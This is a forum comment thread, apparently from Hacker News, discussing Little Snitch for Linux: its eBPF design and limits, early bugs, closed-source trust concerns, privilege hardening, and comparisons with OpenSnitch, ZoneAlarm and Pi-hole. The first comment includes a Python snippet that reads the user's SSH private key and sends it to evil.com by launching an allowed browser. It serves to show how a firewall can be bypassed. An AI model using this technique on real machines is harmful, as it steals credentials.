Say I run a script `suspicious.py' and I deny this script from making any network requests. I also have firefox which is allowed to make any HTTPS requests. If suspicious.py does something like:
key = (Path.home() / '.ssh' / 'id_rsa').read_text()
subprocess.Popen(['firefox', f'https://evil.com/upload/{key}'])
Also: If an interpreter is run via `#!/bin/interpreter` in the script binary, it makes the rule for the script file path, not the interpreter. This does not work when running the script as `interpreter script`, though.
The more granular one gets the more likely they aren't really meaning to ask how to do it in the firewall layer though. E.g. if we take it further to wanting to prevent python -c "specific logic" it's clearer what you can do in the firewall is not necessarily the same as what's practical or useful.
The "good" Windows firewalls like Outpost and Zone Alarm used to have features to catch this, they'd detect when a process tried to invoke or open a running process which had internet access. They'd also do things like detect when a process tried to write a startup item. This went by names like "Leak Control" but it was basically providing near-complete HIDS features with local control.
Maybe an application firewall is useful if one wants firefox but not suspicious.py to be able to upload to evil.com
But IMHO the criteria chosen by the user to decide access and then configure the firewall accordingly, is evil.com not the name of the application
That's why the example in this comment uses the name "evil"
Otherwise, the application name "suspicious" would be enough
> Error: the BPF_PROG_LOAD syscall returned Argument list too long (os error 7).
> littlesnitch.service: Consumed 3min 38.832s CPU time, 13.7G memory peak.
I have now installed Fedora in a VM (ARM64 architecture, though) and it does load, but cannot identify processes. I'm investigating this now.
The other issue seems to be with eBPF compatibility. That's a moving target and I'll investigate next. But resources are limited, I'll need some time to dig into this.
"Note: Little Snitch version 1.0.0 does not currently work with the Btrfs file system! Btrfs is used by default on Fedora, so Little Snitch does not currently identify processes on Fedora. We are working on an 1.0.1 release to fix the issue as soon as possible!"
And the second most upvoted comment is someone seriously asking if 2026 if the year of Linux desktop...
Come on, this is an absurd comment. Linux has its issues, this is not a serious example of what is keeping normal people from using Linux as a desktop OS. Normal people are not installing the first release of a privacy networking tool that requires you to OK connections.
Worth noting that it is closed source. Would be worth contributing patches to OpenSnitch to bring it up to parity with Little Snitch.
I wonder if the decision of Little Snitch to make the Linux version free forever was also informed by this "no way to make money selling tools on Linux" wisdom or if there was another motivation. It seems that if any tool has chances of making decent money on Linux, a product like Little Snitch, which is already well established, with working payment infrastructure would be a good candidate.
I'm as a linux user very reluctant to install anything proprietary that has such sensitive info as my network traffic and would rather use opensnitch or any other foss fork.
The same time I don't mind to pay for open-source, I donate several thousands USD per year to FOSS projects. But I guess I'm in a minority here and if you make the whole stack open-source you're not going to make many sells really.
Slightly? There are quite a few tin foil hat comments on this submission.
I tried to briefly explain a typical i-own-my-computer mindset regarding the linux monetization question from the parent comment.
I can pay for cool stuff I can trust, but the "I can trust" part is very tricky.
Everybody says this until they get fucking pwned at work or have their own data or children's data taken and used.
Then it's "not so tin-foily" and maybe it changed your entire life.
You're either paranoid, or a fool at this point.
It's like the Nazi bar problem. You need to be vigilant to prevent the thing you rely on becoming yet another platform for Microsoft to exfil your personal data to NSA servers.
Why is Little Snitch for Linux™ so hard to find from the company homepage[1] and the product page from the legacy app[2]?
Did the fact that you knew it was going to be made partially open source factor into your decision to develop a new, JS-and-DOM-based UI rather than having build targets for a shared, cross-platform codebase? (E.g. so that you wouldn't end up disclosing the source for the proprietary Mac version?)
Regarding daemon open source: The future is hard to predict, even more with AI being just invented. I would love to make it open source, but if you can feed it into Claude and tell it to convert it to a Mac version, we could lose our income.
For the moment, we prefer to keep it closed because we cannot estimate the consequences of making it open source.
Both for the obvious cost reason, but also because manu of us don't like having code ok our computers we can't inspect, especially not in privileged positions like a firewall is. I.e. I don't care much if a game or the Spotify app is closed source, but neither of those run privileged, in fact I run them sandboxed (Flatpak).
It's not that arcane.
[0]: https://en.wikipedia.org/wiki/ZoneAlarm
[1]: https://d2nwkt1g6n1fev.cloudfront.net/helpmax/wp-content/upl...
I've just found it and uploaded it to github. Looking at the code, I can see my horrible C style of the time. There's probably bugs galore.
https://github.com/JetSetIlly/Direwall
If I remember correctly, it runs as a commodity and patches the socket library. Interestingly, the socket library was not re-entrant (unusual for Amiga libraries) so I had to patch the Exec OpenLibrary() function to monitor the loading of new copies of the socket library. But it's been a long time so memories are hazy.
It'll be interesting to see if it is still compiles and runs for modern AmigaOS, if any active Amiga programmers are around to see.
It was quite insistent on the fact that it would be "noisy" at first as it queried all the programs you ran, but would then quieten down once it had been "trained". It got that across in clear, simple language.
I think it was so successful because it got the soft side of its security job right as well as the hard part. It's certainly why I recommended it to anyone at the time...
My personal computer had ZoneAlarm on it. It became ground zero for reporting about infected systems. They ignored systems they thought were save; CISCO phone system running on Windows server and other backend devices. The company then bought a few licenses to run their own laptops.
It is such a same that Microsoft destroyed _ERD Commander_ and other quality tools which assisted in the clean up.
Yeah...
It mostly worked exactly as you would want a desktop firewall to, and integrated nicely with Cisco VPN tech, so you could ensure Integrity was operating correctly before fully opening up the tunnel for access to corporate assets.
There was simply no need for it. GNU provided most of the software, spyware was unknown.
Only since comercial vendors package for linux and bring their spyware along, the desire to inspect network rose.
Simpler times.
ZoneAlarm otoh, was snakeoil. Programs that ran at the same privilege level (typically everything) could bypass it in various ways.
A simpler time lol.
Used to use Outpost Firewall Pro, too.
Also that seems irrelevant because it seems this was implemented in eBPF so no kernel modules are required.
Shooting yourself in the foot really helps to built intuition!
Back when people would try to winnuke others on IRC, the Linux guys would know who sent them the packet and call them out in the channel (and then usually ban them)
OpenSnitch must be like ten years old by now. I think also portmaster is somewhat similar too.
Back then there was also a nice ~$15 program called Net Limiter which allowed one to cap network speeds individually per program.
It can be manually configured with very detailed policies, but you have to know where to go to find those controls.
It's been a while since I used ZoneAlarm or Little Snitch, but the last time I used either one the default behavior was instead that any connection attempt or attempt to listen for which there was not a policy would result in a dialog showing all the details about what application is looking to connect to or receive connections from what as well as a variety of options for creating a policy or even not creating a policy and just deciding whether that one connection would be allowed.
Also back when I used ZoneAlarm I had dialup so the taskbar addon they had which showed realtime bandwidth usage and what applications had active connections was really useful. It also had a big red "Stop" button that would immediately disable all connections, which thinking about it in retrospect really makes me miss the more innocent days of the internet.
Default allows everything though but you could even set outbound blocking rules. Cumbersome UI and no really good visibility though.
Recently I was wondering how you really have to trust something like little snitch given its a full kernel extension effectively able to MITM your whole network stack.
So I went digging (and asked some agents to deep research), and I couldn't find much interesting about the company or its leadership at all.
All a long way to say, anyone know anything about this company?
But the trust issue is still real, the daemon has to run as root because it needs to watch for new mounts and keep a table of file system roots up-to-date, even after loading all the eBPF programs. As a root process, it can technically do whatever it wants. Unless you limit it with a kind of mandatory access control (SELinux or similar).
This is the very first release and we will probably come up with a more restricted permission requirement in the future. For the moment, I try to catch up with bug reports. There seems to be more diversity in the Linux landscape than I had expected.
I maintain rustnet, a passive network monitor in the same eBPF + libpcap space, so I ran into a lot of the same issues. Wanted to share what has been working for me on the privilege side, in case any of it is useful for v2.
rustnet ships with setcap 'cap_net_raw,cap_bpf,cap_perfmon+eip' instead of setuid-root. During startup it loads the eBPF programs, opens the pcap handle, and then drops all three caps before touching any packet data. It clears the ambient set, sets PR_SET_NO_NEW_PRIVS, and applies a Landlock ruleset that restricts the filesystem to /proc plus configured log paths and blocks TCP bind/connect on 6.4+ kernels. Code is in src/network/platform/linux/sandbox/ if you want to have a look.
On the "needs to watch mounts" point, totally fair that Little Snitch needs live mount visibility, but I think it is achievable without staying UID 0:
- Watching for mount changes: poll() on /proc/self/mountinfo with POLLPRI wakes on every mount table change from a completely unprivileged process (this is what systemd and mount(8) use internally). Alternatively, an eBPF program on the mount/umount/move_mount tracepoints can be loaded at init and stream events via a ring buffer, with no continued cap cost after load. - Resolving an arbitrary PID to its binary across container mount namespaces: CAP_SYS_PTRACE is enough for that. The /proc/PID/root magic symlink does the namespace translation inline inside the kernel pathwalk, so open("/proc/12345/root/usr/bin/firefox", ...) opens the right file in the right container's view without ever calling setns(), which is what would otherwise need CAP_SYS_ADMIN (the new root).
Yes, they are indie Mac developers who have been in business for more than 20 years, and Little Snitch for Mac is beloved by many users for a long time.
What is that supposed to mean in this context?
> little snitch given its a full kernel extension
On macOS, don't think Little Snitch needs kernel exclaves / extensions. Apple provides userspace ("Network Extension") APIs (however limited) for apps like Little Snitch to use (instead of pf).
> effectively able to MITM your whole network stack
"MITM" means something else, anywho... if network observability (not firewall) is the primary need, cross-platform (GUI) sniffers like Sniffnet exist: https://github.com/GyulyVGC/sniffnet
[1] "Little Snitch for Linux is built for privacy, not security, and that distinction matters. The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name. And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably. That's not an option here." -- from https://obdev.at/products/littlesnitch-linux/index.html
And regarding failed reverse DNS names: Little Snitch is sniffing DNS lookups. If lookups are encrypted, there is little it can do. We usually recommend DNS encryption at the systemd layer, not at app layer. This way we can see lookups on 127.0.0.53 and the actual lookup sent out is still encrypted.
Also, it's currently only sniffing UDP lookups, not TCP. The eBPF part is already very close to the complexity limits (700k instructions of allowed 1M) and adding TCP parsing would exceed this limit. It should be possible to forbid TCP port 53 with a rule, though. Some complex DNS lookups will fail, but routine things should still work.
Perhaps there should be a mode where littlesnitch just does its own lookup using the system-configured rDNS, for example from the ui or for specific processes, etc? It should be cached if it is a recent lookup, so minimal performance implications; and offloaded to the system rDNS resolver, so minimal instruction set.
Use a filtering proxy instead and no gateway / route to the internet.
or DNS stubs with filtering capabilities.
Where LittleSnitch is definitely ahead is showing process connections over time after said process has been allowed.
As software should be.
I think it's fair to ask that a developer choosing to build a thing that requires that kind of access should be expected to err on the side of transparency.
https://github.com/evilsocket/opensnitch?tab=readme-ov-file#...
Shameless plug: for anyone who wants something fully open source and terminal-based, I maintain RustNet (https://github.com/domcyrus/rustnet). It's a bit different because it's a TUI for real-time connection monitoring with deep packet inspection, not a firewall. No blocking/rules, but it's cross-platform (Linux/macOS/Windows), the entire codebase is open, and it sandboxes itself after init via Landlock with capability dropping.
If anyone from obdev is reading, please give us a way to pay for it, even if it stays free :), I'd love to support development and would happily pay something between the price of Little Snitch and Little Snitch Mini.
Anyway, thanks a lot!
> You can find Little Snitch for Linux here. It is free, and it will stay that way.
Don't worry, the authors know that there's no point in charging Linux users. Unlike Mac users.
So you might as well make it $0 and the (Linux) crowd goes wild that they don't need to pay a cent.
However...
> I researched a bit, found OpenSnitch, several command line tools, and various security systems built for servers. None of these gave me what I wanted: see which process is making which connections, and in the best case deny with a single click.
OpenSnitch is open source. You don't need to trust it as you can see the code yourself. Little Snitch on the other hand, is completely closed source.
Do you still trust them not to do self-reporting or phoning home, even though it is $0 and closed source?
If you trust Little Snitch on Mac, then yes.
They've been in business for over 20 years. They're not going to blow their entire business and reputation for a few Linux users.
I do wonder however, are they sufficiently careful about their processes and own machines to avoid a supply chain attack completely.
They must be a target for the various hacking groups out there.
On the Linux side, there is no single big vendor such as Apple who provides all the necessary libraries. I have tried to choose reputable sources from crates.io only, but to be honest, I don't know a secure solution to the problem.
A supply chain attack doesn't directly attack an end developer but rather a supplier of the developer. So who or what is the supplier in this case?
Anything new to get much better performance from low-spec machines that is idiot-proof is a game-changer.
I've been a GlassWire user for years, which partially fills the role of LS, but not very well. Aside from the many performance issues I've seen, it's missing a lot of LS essentials. To be fair, I think the focus of GlassWire is more about visualizing traffic on your Windows computer, but I definitely believe there is a need for better Windows network software for power users.
If you or I guess anyone is curious sereno[hyphen]alpha[dot]ramble[thenumberoftechn9ne'sfavoriterum]@passinbox.com
Congrats to Objective Development for expanding their well-loved tool to a new platform. You guys rock.
Why does LittleSnitch (Mac) pre-resolve IP addresses, before user presses Accept/Deny?
IMHO DNS queries shouldn't initiate without user input.
Version 6 added DNS encryption and in principle we could filter lookups (similar to PiHole) at this level. That brings other issues, though: This filter is system-wide, so process-specific rules (and overrides) would not work. And results can be cached by mDNSResponder. So when a blocklist causes an issue, you may not be able to fix it by simply disabling the blocklist. But it's still something we consider.
I've been telling people about ya'll's DNS leaks for over a decade [3] — glad to finally hear back — most people won't believe me [0] until this flaw is demonstrated on their specific machine (easy enough). Those already using LittleSnitch will then typically set up better filtering (e.g. DNS white/blacklist, PiHole, et.alius).
And until the behavior is fixed, I will keep spreading the good word. Does the Linux version have this same flaw (i.e. backend requirements similar to Mac initial IP leak)?
----
A very neat product (LittleSnitch), but I stopped using it solely for above reason [1]. IMHO, this flaw should be better documented in your installer/docs.
[0] e.g. they'll lament "there is no way the developer would allow that sort of leak/behavior!" Their denial is a helluvadrug
[1] I had a 5-user site license, IIRC. Shortly after purchasing, I discovered above leakage so stopped using entirely [v3 user 33TEWP20B0-724KY-5XE522FEAC [2]]
[2] Go ahead and blacklist/cancel the above registration (it's a manyyearsold version, barely used) – my current mailing address is in my user profile (no longer use email/phone). Would love to help/feedback to make your product better. Would also love a refund (all these years later, on principle)
[3] e.g: <https://news.ycombinator.com/item?id=35363343> (/hn/2023)
I guess what I'd really like is a middleware box or something that I could put on my home network, but would then still give the same user experience as the normal app. I don't want to have to log into some web interface and manually add firewall rules after I find something not working. I like the pop-ups that tell you exactly when you're trying to do something that is blocked, and allow you to either add a rule or not.
I'm probably straddling some gray area between consumer-focused and enterprise-focused feature sets, but it would be neat.
Long story you didn't ask for. Like I said, I haven't used Little Snitch in a while. I'll give this a whirl this weekend. What I have done over the past few years is run AdGuard Home on a min home server. This has helped keep ads undercontrol in our hoursehold and I have an easy "turn off adguard for 10 mins" in homeassistant for the wife so she can do some shopping online since it can occasionally break some sites, but overall they tolerate adguard and think it's a good middle ground. I have a few block lists, nothing too crazy or strict to avoid breaking most sites. On the desktops/laptops, they all run FireFox w uBlock origin.
This is solvable to some degree but requires varying degrees of new complexity depending how smooth of a user experience you’re aiming for.
https://news.ycombinator.com/item?id=29761978
Portmaster – Open-source network monitor and firewall [315 points | 113 comments]
https://news.ycombinator.com/item?id=23539687
Show HN: Block trackers system-wide on Linux/Windows, a Pi-hole “to go” alt
[6 points by davegson on June 16, 2020 | 2 comments]
Little Snitch for Linux, on the other hand, is much less complex and tries to analyze and filter based on DNS names, not IP addresses where possible. It is not made for security, but rather to provide insight for the curious what's going on. It hooks into the kernel via eBPF, not iptables.
https://news.ycombinator.com/item?id=35363343
> Little Snitch for Linux is not a security tool.
Maybe not?
> Its focus is privacy:
Or maybe yes?
The Linux version is limited in complexity. It has to decide immediately. This has the consequence that no packet leaves the machine if the connection is denied, but on the other hand it means that it's easier to trick. The macOS version can inspect the first packet sent (deep packet inspection) to find the remote host name in TLS headers. The Linux version relies on heuristics: The most recent lookup seen which returned the IP address determines the name. This part is Open Source and you can inspect the algorithm.
I thought it would be easier to do DPI on Linux than macOS. No???
But you're right, I guess for some people, there will already be a good reason not to use Linux.
> ## Accelerating Change [One School]
>
> Our intuitions about change are linear; we expect roughly
> as much change as has occurred in the past over our own
> lifetimes. But technological change feeds on itself, and
> therefore accelerates. Change today is faster than it was
> 500 years ago, which in turn is faster than it was 5000
> years ago. Our recent past is not a reliable guide to how
> much change we should expect in the future.
>
> Strong claim: Technological change follows smooth curves,
> typically exponential. Therefore we can predict with fair
> precision when new technologies will arrive, and when they
> will cross key thresholds, like the creation of [AI].
>
> Advocates: Ray Kurzweil, Alvin Toffler(?), John Smart
https://www.yudkowsky.net/singularity/schoolsFor whom? Average desktop users? Average users don't know what LittleSnitch is, let alone calling it "popular software."
I definitely don't think it's even the likely outcome, but for Linux to get serious traction this is how it has to start: power users but not the traditional developer crowd start actually moving, and in doing so produce the guides, experience, word of mouth, and motivation that normal people need to do so, alongside the institutional support from Valve to actually fix the bugs and issues.
It remains to be seen if a critical mass will find it usable long-term, but if it were to happen, this is how it would look at the start, and Microsoft are certainly doing their best to push people away right now, although I suspect the real winner is more likely to be Apple with the Macbook Neo sucking up more of the lower end.
According to a speculative blog post by Eric S. Raymond in September 2020, Microsoft is literally moving towards replacing Windows' internals with Linux. Unfortunately, that post is now unreachable, but searching for "eric raymond article about windows being replaced with a linux kernel" finds many third-party references to it and summaries of it.
[0] https://store.steampowered.com/hwsurvey/steam-hardware-softw...
I think AI also makes it easier to deal with issues that come up.
Unfortunately there are no standards for OS to talk to WiFi devices like exist for many other types of hardware, so it’s not possible to make generic drivers.
* Laptop battery life. Still in the "it's fine; I get 5 hours!" stage.
* Wayland & graphics. It's still a mess. Getting there though. Probably will be ok in about 5 years I'd guess.
* RAM management. I don't know why nobody cares about this but when Mac or Windows run low of RAM I don't even notice. With Linux it either hard freezes and reboots, or hard freezes for like 5 minutes and then kills a completely random program. How is that ok? My solution here was to upgrade both my computers to 128 GB of RAM, but that isn't really a viable option today!
* Generally bugginess. Both KDE and Gnome are just not as rock solid as Windows 11. I know I'll get downvoted for this but I haven't experienced a single crash on Windows 11 (and no ads or bloatware because I did research and used the LTSC edition). In KDE, much as I love it, the taskbar crashes regularly and I cannot make head nor tail of the completely random order it wants to put windows in. You can't even drag them into a sensible order. Gnome was not much better.
Still KDE is a lot better now than it was in the kidney bean days so I reckon in another 5 years it will probably be pretty solid too.
This is why DoH makes me nervous. Once the embedded ad engines(cough smart tv's) figure it out, we will no longer be able to mitm our dns services. Or to put it more plainly pi-hole will stop working. An open question, Any good way to block DoH? Or are heuristics the only answer?
An unenforceable option would be to set up an independent youtube frontend. https://invidious.io/
My opinion on shorts is a little more generous, sure they are generally brain-cell destroying bottom of the barrel clickbait nonsense. But that can also be said about most of the rest of youtube. What I hate specifically is the shorts doom-scrolling interface. It turns out a "short" can still be viewed on the normal interface. So I use a browser extension to turn shorts urls into normal urls.
[0] https://help.comodo.com/uploads/Comodo%20Internet%20Security...
https://obdev.at/blog/little-snitch-for-linux/
The core issue is simple and uncomfortable: through automatic updates, a vendor can run any code, with any privileges, on your machine, at any time.
-----
If the author is serious about this, then they should make their own program completely open source, and make builds bit-for-bit reproducible.
For all I know, the proprietary Little Snitch daemon, or even the binaries they're distributing for the open source components, contain backdoors that can be remotely activated to run any code, with any privileges, on your machine, at any time.
I think it's still better to make it public and only partially Open Source so that some people can benefit from it. If you don't trust us, that's completely reasonable, just don't install it.
"Little Snitch for Linux is built for privacy, not security, and that distinction matters. The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name. And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably. That's not an option here."
Is this a limitation of the eBPF implementation? Pardon my ignorance, I'm genuinely curious about this.
That's not only a weakness, it's also a strength of eBPF. This way it can provide security and safety guarantees on the code loaded into the kernel.
I always thought that ugly UIs on Linux are because of good designers do not intersect well with programming enthusiasts.
But looking how ugly same app looks on Linux, I’m starting to think it could be a technical limitation. Can someone elaborate?
Curious who else is working on stuff like this / what other solutions exist that are like "Little Snitch" for agent network + filesystem calls.
Did not know about LittleSnitch, will definitely check it out.
Isn't MacOS just *nix under the hood? Genuinely curious about this difference.
The systems LittleSnitch uses to do packet inspection are very much OS-specific. There's no generic standard for doing high-performance packet inspection. XNU and Linux are *very* different kernels. Linus Torvalds built Linux from scratch as a monolithic kernel because he wanted a Unix-like OS that wasn't encumbered. XNU is based on the Mach microkernel though XNU is a hybrid or monolithic kernel, not a microkernel. The point is, they have very different heritage and very different systems for... well pretty much everything. So "just *nix under the hood" is kind of true but also completely besides the point as far as packet inspection goes. And even then, while there are a lot of similarities between the core system tools of Linux and macOS, they're still quite different and unless you're limiting yourself to POSIX-standard interfaces (which are only a fraction of the system), you're not going to be able to use the same code on both systems.
Is there a userland component that's using something like iptables? (Can iptables block traffic originating from/destined to a specific process nowadays?)
I know everyone today is used to upgrading every 5 seconds, but some of us are stuck on old software. For example, my Linux machine keeps rebooting and sucks up power in suspend mode because of buggy drivers in 6.12+, so I'm stuck on 6.8. (which is extra annoying because I bought this laptop for its Linux hardware support...)
We are working on the issue.
> You can find Little Snitch for Linux here[1]. It is free, and it will stay that way.
I would love to fix this requirement, but have not found a way yet.
On Linux, we intercept at a level where packets already have an Ethernet header. I hope that Paqet injects
before* this layer, but only a test can give the proof.A recent example, but not the only is a Iran a botnet, using this to get around detection.
https://cybersecuritynews.com/iran-linked-botnet-exposed-aft...
TL;DR it's closed source and there's open source alternatives.
Hopefully Apple makes the necessary frameworks available on iOS in general. Not only for supervised devices.
They are still restricting iCloud Private Relay to Safari for the most part. iOS is really wanting for privacy improvements to close the gap between marketing and reality.
Fun fact: iOS lets developers spy on when you _dismiss_ notifications:
https://developer.apple.com/documentation/usernotifications/...
Ever instantly angry-swipe-to-clear a DM notification soon as it hits your lockscreen from someone who upset you? Zuck knew y'all had beef.
Clear notifications before bed and in the morning? All those companies could know a bit more about your routine than you would've otherwise revealed if weren't in the habit of using those apps at those times.
--
The kinds of tiny things that would be pretty inconsequential on their own but that you figure maybe the Apple tax would help you avoid.
(edited with additions)
Why?
my question is... if the tracking maps fill up completely, does the daemon fail-open or fail-closed?
The DNS lookups, on the other hand, are LRU. If the table overflows too soon, we won't be able to derive names for IP addresses and name-based rules would fail.
really appreciate the honest answer, man. awesome work on this...!
What would be the right tool to harden in a similar way to little snitch on mac? Meaning intercepting any connection and whitelisting them reliably.
Anyway, this one looks great. I hope Linux distros will incorporate this or similar into the network widgets.
pi.hole is primarily billed as an ad blocker, but the fundamental way it works is by applying a curated set of DNS lists that are blocked (commonly telemetry and ad servers), and the admin dashboard which is just a web page (therefore works on all platforms, smartphones included) will do the same thing: it tells you every call that every app on every device on your network is making, and you can approve or deny it. You can curate your own list as well and block servers/connections you don't want on the network.
LS afaik operates in the same area where it's intended to be used for privacy. I guess I could see it being useful for people who don't have admin access to their router, but for people who do have such access I would think the benefits of network-wide DNS monitoring/blocking would outweight the costs of having to configure your router settings.
Little Snitch is intended for per-process, per-connection blocking - for example, you may need, eg, an Instagram uploader app to contact Meta's servers, but an unrelated app should not be able to (and even in the case of the hypothetical IG uploader, you can get very fine grained about the controls - media.facebook.net, not telemetry.facebook.net). In that way, LS does have some advantages over pi.hole in that space - You'd need to set up every single item that you normally get for free from a blocklist, but it gives you much finer control over what's getting blocked and much better visibility into what connections your processes are trying to make.
Again, I don't think Little Snitch is the right answer if you're looking for ad blocking specifically, and if that's the extent of your privacy concerns, pi.hole's a better bet. Little Snitch is a per-application connection monitor and firewall - it _can_ block ads, but that's not its primary purpose.
I would guess that to the extent the blocklists include things that are loaded by applications and not websites, they are almost entirely built by users of something like LittleSnitch or OpenSnitch. This is also entirely doable with wireshark logs, but I think that requires more infrastructure to build into usable lists.
Some telemetry might not be recognized by pi-hole as it is new or has nothing to do with ads.
> The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name.
> And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably.
> That's not an option here.
>
> Source: https://web.archive.org/web/20260409002901/https://obdev.at/products/littlesnitch-linux/index.html
Have you ever checked Calico or Cilium, or at least, Oryx?